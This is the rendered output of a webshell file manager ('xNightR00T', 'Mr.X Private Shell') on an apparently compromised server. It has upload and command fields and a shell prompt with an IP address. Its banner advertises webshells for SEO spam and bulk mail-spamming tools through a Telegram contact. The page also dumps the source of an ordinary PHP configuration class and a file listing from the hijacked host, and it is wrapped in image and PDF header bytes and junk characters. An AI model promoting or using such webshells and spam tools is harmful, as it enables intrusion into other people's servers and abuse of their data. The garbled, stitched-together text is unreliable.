xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration;

class DirectiveContainer
{
    const TYPE_STRING      = 'string';
    const TYPE_BOOLEAN     = 'boolean';
    const TYPE_SELECT      = 'select';
    const TYPE_INT         = 'int';
    const TYPE_SHORTHAND   = 'shorthand';
    const TYPE_INT_BOOLEAN = 'int_boolean';

    const VISIBILITY_NORMAL      = 0;
    const VISIBILITY_ADVANCED    = 1;
    const VISIBILITY_DEBUG       = 2;

    /**
     * @var string
     */
    protected $previousValue;

    /**
     * @var array
     */
    protected $directive;

    /**
     * @param array $directive
     */
    public function __construct(array $directive)
    {
        $this->directive = $directive;
        if (isset($directive['previousValue'])) {
            $this->setPreviousValue($directive['previousValue']);
        }
    }

    public function isExists()
    {
        return (!empty($this->directive));
    }

    public function toArray()
    {
        return $this->directive;
    }

    /**
     * @return string
     */
    public function getName()
    {
        return isset($this->directive['NAME']) ? $this->directive['NAME'] : '';
    }

    /**
     * @return string
     */
    public function getExtension()
    {
        return $this->directive['EXTENSION'] ?? null;
    }

    /**
     * @return string
     */
    public function getDaemon()
    {
        return $this->directive['DAEMON'] ?? null;
    }

    /**
     * @return string
     */
    public function getFileValue()
    {
        return isset($this->directive['DISK_VALUE']) ? $this->directive['DISK_VALUE'] : '';
    }

    /**
     * @return string
     */
    public function getDefaultValue()
    {
        return $this->directive['MEMORY_VALUE'];
    }

    /**
     * Get memory or file value according to "memory_only" parameter
     * @return string
     */
    public function getValue()
    {
        return $this->isMemoryOnly() ? $this->getDefaultValue() : $this->getFileValue();
    }

    /**
     * @return number (0 or 1)
     */
    public function isMemoryOnly()
    {
        return isset($this->directive['MEMORY_ONLY']) && intval($this->directive['MEMORY_ONLY']) != 0 ? 1 : 0;
    }

    /**
     * @return number (0 or 1)
     */
    public function isRequiresRestart()
    {
        return isset($this->directive['REQUIRES_RESTART']) && intval($this->directive['REQUIRES_RESTART']) != 0 ? 1 : 0;
    }

    /**
     * @return string
     */
    public function getSection()
    {
        return isset($this->directive['section']) ? $this->directive['section'] : '';
    }

    /**
     * @return string
     */
    public function getDescription()
    {
        return isset($this->directive['shortDescription']) ? $this->directive['shortDescription'] : '';
    }

    /**
     * @return string
     */
    public function getUnits()
    {
        return (isset($this->directive['units']) && $this->directive['units']) ? $this->directive['units'] : '';
    }

    /**
     * (visible property is Derived from Xml's visibility attribute)
     * @return boolean
     */
    public function isVisible()
    {
        // unrecognized directives will not have this flag
        return !isset($this->directive['visibility']) || intval($this->directive['visibility']) >= $this::VISIBILITY_ADVANCED;
    }

    /**
     * Return the visibility of the directive - 0 (normal), 1 (advanced) or 2 (debug)
     * @return int
     */
    public function getVisibility() {
        return (!isset($this->directive['visibility'])) ? $this::VISIBILITY_NORMAL : intval($this->directive['visibility']);
    }

    /**
     * Check if the directive is debug visibility
     * @return int
     */
    public function isDebugVisibility() {
        return $this->getVisibility() == $this::VISIBILITY_DEBUG;
    }

    /**
     * Check if the directive is normal visibility
     * @return bool
     */
    public function isNormalVisibility() {
        return $this->getVisibility() == $this::VISIBILITY_NORMAL;
    }

    /**
     * Check if the directive is Advanced visibility
     * @return bool
     */
    public function isAdvancedVisibility() {
        return $this->getVisibility() == $this::VISIBILITY_ADVANCED;
    }

    /**
     *  @return array/''
     */
    public function getListValues()
    {
        if (isset($this->directive['validation']['listValues'])) {
            if ($this->directive['validation']['listValues']) {
                return unserialize($this->directive['validation']['listValues']);
            }
        }
        return [];
    }

    /**
     * @return string
     */
    public function getType()
    {
        return $this->typeTranslate();
    }

    /**
     * @return string
     */
    public function getIniFile()
    {
        return isset($this->directive['INI_FILE']) ? $this->directive['INI_FILE'] : '1';
    }

    /**
     * @return string
     */
    private function typeTranslate()
    {
        if (isset($this->directive['type'])) {
            switch ($this->directive['type']) {
                case 2:
                    $type = self::TYPE_BOOLEAN;
                    break;
                case 3:
                    $type = self::TYPE_SELECT;
                    break;
                case 4:
                    $type = self::TYPE_INT;
                    break;
                case 5:
                    $type = self::TYPE_SHORTHAND;
                    break;
                case 8:
                    $type = self::TYPE_INT_BOOLEAN;
                    break;
                default:
                    $type = self::TYPE_STRING;
                    break;
            }
        } else {
            $type = self::TYPE_STRING;
        }
        return $type;
    }

    /**
     * @return string $previousValue
     */
    public function getPreviousValue()
    {
        if (is_null($this->previousValue)) {
            return '';
        }
        return $this->previousValue;
    }

    /**
     * @return boolean
     */
    public function hasPreviousValue()
    {
        return (!is_null($this->previousValue));
    }

    /**
     * @param string $previousValue
     *
     * @return DirectiveContainer
     */
    public function setPreviousValue($previousValue)
    {
        $this->previousValue = $previousValue;
        return $this;
    }

    /**
     * @return string
     */
    public function getContext()
    {
        if ($this->getExtension()) {
            return 'Extension';
        } elseif ($this->getDaemon()) {
            return 'Daemon';
        } else {
            return '';
            //throw new ZSException("The directive {$this->getName()} does not have a context");
        }
    }

    /**
     * @return string
     */
    public function getContextName()
    {
        if ($this->getExtension()) {
            return $this->getExtension();
        } elseif ($this->getDaemon()) {
            return $this->getDaemon();
        } else {
            return '';
            //throw new ZSException("The directive {$this->getName()} does not have a context name");
        }
    }

    /**
     * @param string $value
     *
     * @return DirectiveContainer
     */
    public function setFileValue($value)
    {
        $this->directive['DISK_VALUE'] = $value;
        return $this;
    }

    /**
     * @return string
     */
    public function getMinSupportedPhpVersion() {

        return empty($this->directive['phpVersion']['min']) ? null : $this->directive['phpVersion']['min'];
    }

    /**
     * @return string
     */
    public function getMaxSupportedPhpVersion() {

        return empty($this->directive['phpVersion']['max']) ? null : $this->directive['phpVersion']['max'];
    }
}

Filemanager

Name Type Size Permission Actions
Audit Folder 0755
Controller Folder 0755
Forms Folder 0755
License Folder 0755
Task Folder 0755
View Folder 0755
DaemonContainer.php File 3.42 KB 0644
DbImport.php File 4.7 KB 0644
DdMapper.php File 16.8 KB 0644
DirectiveContainer.php File 7.51 KB 0644
ExtensionContainer.php File 4.34 KB 0644
GuiDbModel.php File 4.32 KB 0644
MapperAbstract.php File 9.68 KB 0644
MapperDirectives.php File 22.33 KB 0644
MapperDirectivesAzure.php File 1.18 KB 0644
MapperDirectivesStandalone.php File 8.88 KB 0644
MapperExtensions.php File 10.63 KB 0644
MapperReplies.php File 3.76 KB 0644
PhpVersion.php File 3.52 KB 0644
ReplyContainer.php File 618 B 0644
ServerInfoReplyContainer.php File 1.64 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1